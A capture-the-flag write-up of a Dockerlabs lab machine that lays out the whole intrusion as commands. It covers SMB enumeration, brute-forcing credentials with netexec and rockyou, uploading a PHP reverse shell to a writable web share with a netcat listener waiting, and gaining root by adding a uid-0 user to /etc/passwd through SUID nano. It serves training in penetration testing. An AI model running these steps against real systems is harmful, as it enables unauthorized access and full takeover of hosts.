Skip to content
Platform Dockerlabs
OS Linux
Difficulty Medium
InitialVector Writable SMB share abused to upload a PHP web shell
Privesc SUID nano used to edit /etc/passwd and create a root user

Domain

Information Gathering

I began by verifying connectivity to the target. The returned TTL value of 64 strongly suggested that the host was running Linux.

ping -c 4 172.17.0.2
Screenshot

Next, I performed an Nmap scan to identify exposed ports and the services running on the target.

nmap -sV -sC --min-rate 5000 172.17.0.2 -n -Pn
Screenshot

The scan revealed the following services:

  • 80/tcp - Apache 2.4.52
  • 139/tcp - Samba smbd 4
  • 445/tcp - Samba smbd 4

Browsing to the website did not reveal anything immediately useful. It only contained generic information about Samba and its purpose.

Screenshot

SMB Enumeration

Since Samba was exposed, I moved on to SMB enumeration. A good first step here was to check whether anonymous enumeration would disclose valid usernames.

enum4linux 172.17.0.2
Screenshot

enum4linux returned two usernames:

  • james
  • bob

To validate that result, I queried SMB users again with netexec.

netexec smb 172.17.0.2 -u '' -p '' --users
Screenshot

This confirmed that james and bob were the only visible users at this stage.

I also attempted to enumerate shares anonymously:

netexec smb 172.17.0.2 -u '' -p '' --shares

That did not provide usable access, so the next logical step was to attempt a password attack against the discovered users.

Credential Discovery

I placed the discovered usernames into a local wordlist and used netexec with rockyou.txt to brute-force SMB authentication.

Screenshot
netexec smb 172.17.0.2 -u users.txt -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding

This successfully revealed valid credentials for the user bob:

  • Username: bob
  • Password: star
Screenshot

With valid credentials in hand, I re-enumerated the available shares:

netexec smb 172.17.0.2 -u 'bob' -p 'star' --shares

The account had the following permissions:

  • print$ - READ
  • html - READ, WRITE
  • IPC$
Screenshot

The writable html share immediately stood out as a strong avenue for code execution through the web service on port 80.

Initial Access

I connected to the writable share with smbclient to inspect its contents.

smbclient //172.17.0.2/html -U bob

Inside the share, I found an index.html file.

Screenshot

Since the web root was writable, I uploaded a PHP reverse shell named notashell.php, using the classic PentestMonkey PHP reverse shell as the payload.

put notashell.php
Screenshot

On my attacker machine, I started a Netcat listener:

nc -nvlp 3312

Then I triggered the payload by visiting:

http://172.17.0.2/notashell.php

That successfully provided a shell on the target as www-data.

Pivoting to a Valid User

After landing the reverse shell, I authenticated locally as bob using the credentials already recovered during SMB brute force.

su bob
star
Screenshot

At this point, I attempted a basic shell upgrade:

/bin/bash -i
export TERM=xterm

This improved the situation slightly, but it was still not enough for reliable terminal interaction during text editing.

Privilege Escalation Enumeration

With a shell as bob, I checked for SUID binaries:

find / -perm -4000 -ls 2>/dev/null

The result that mattered immediately was nano with the SUID bit set.

Screenshot

Because nano was running with elevated privileges, modifying /etc/passwd became a viable privilege escalation path. Instead of changing the existing root password directly, I chose the quieter option of creating a new root-equivalent user.

First, I generated an MD5-crypt password hash:

openssl passwd -1 password
$1$Lq1NQOKk$K4yzdt9.Cvn3gdLl7CAj90

Then I tried to edit /etc/passwd with the SUID nano binary:

/usr/bin/nano /etc/passwd

However, this was where the unstable reverse shell became the real obstacle. The shell was not fully interactive, so moving through the file caused control characters to be written into the document instead of behaving like a normal terminal. That made editing /etc/passwd unreliable and potentially destructive.

Achieving a Fully Interactive Shell

The most important part of this machine was stabilizing the reverse shell well enough to work comfortably inside nano. To fix the terminal properly, I rebuilt the session using the classic TTY upgrade sequence below.

From the compromised shell, I started a better pseudo-terminal:

script /dev/null -c bash

Then I backgrounded the session with Ctrl+Z and fixed my local terminal before bringing the shell back to the foreground:

stty raw -echo;fg

After that, I reset the terminal and exported the appropriate environment variables:

reset xterm
export TERM=xterm
export SHELL=bash
stty rows 39 cols 166

Finally, I cleared the screen:

clear

At that point, the shell behaved much more like a native interactive terminal. Navigation keys worked correctly, and I could move inside text editors without corrupting file contents.

Screenshot

This was the turning point of the box. Once the terminal was properly stabilized, the privilege escalation step became straightforward.

Privilege Escalation

With the shell fixed, I generated the password hash again and reopened /etc/passwd using SUID nano:

openssl passwd -1 password
$1$Lq1NQOKk$K4yzdt9.Cvn3gdLl7CAj90
/usr/bin/nano /etc/passwd

I then added the following entry to create a new root-level user named service:

service:$1$Lq1NQOKk$K4yzdt9.Cvn3gdLl7CAj90:0:0::/root:/bin/bash
Screenshot

After saving the file, I authenticated as service with the password I had chosen. This immediately granted root privileges.

Screenshot

Conclusion

The exploitation path itself was relatively direct: enumerate SMB, brute-force valid credentials, upload a PHP reverse shell to the writable web directory, pivot to a local user, and abuse SUID nano to modify /etc/passwd.

The hardest part of this machine was not the privilege escalation primitive, but obtaining a shell that was stable enough to use it properly. The full TTY upgrade sequence was essential. Without a truly interactive terminal, editing /etc/passwd through nano was messy and unreliable. Once the shell behaved like a near-native session, the final escalation to root was immediate.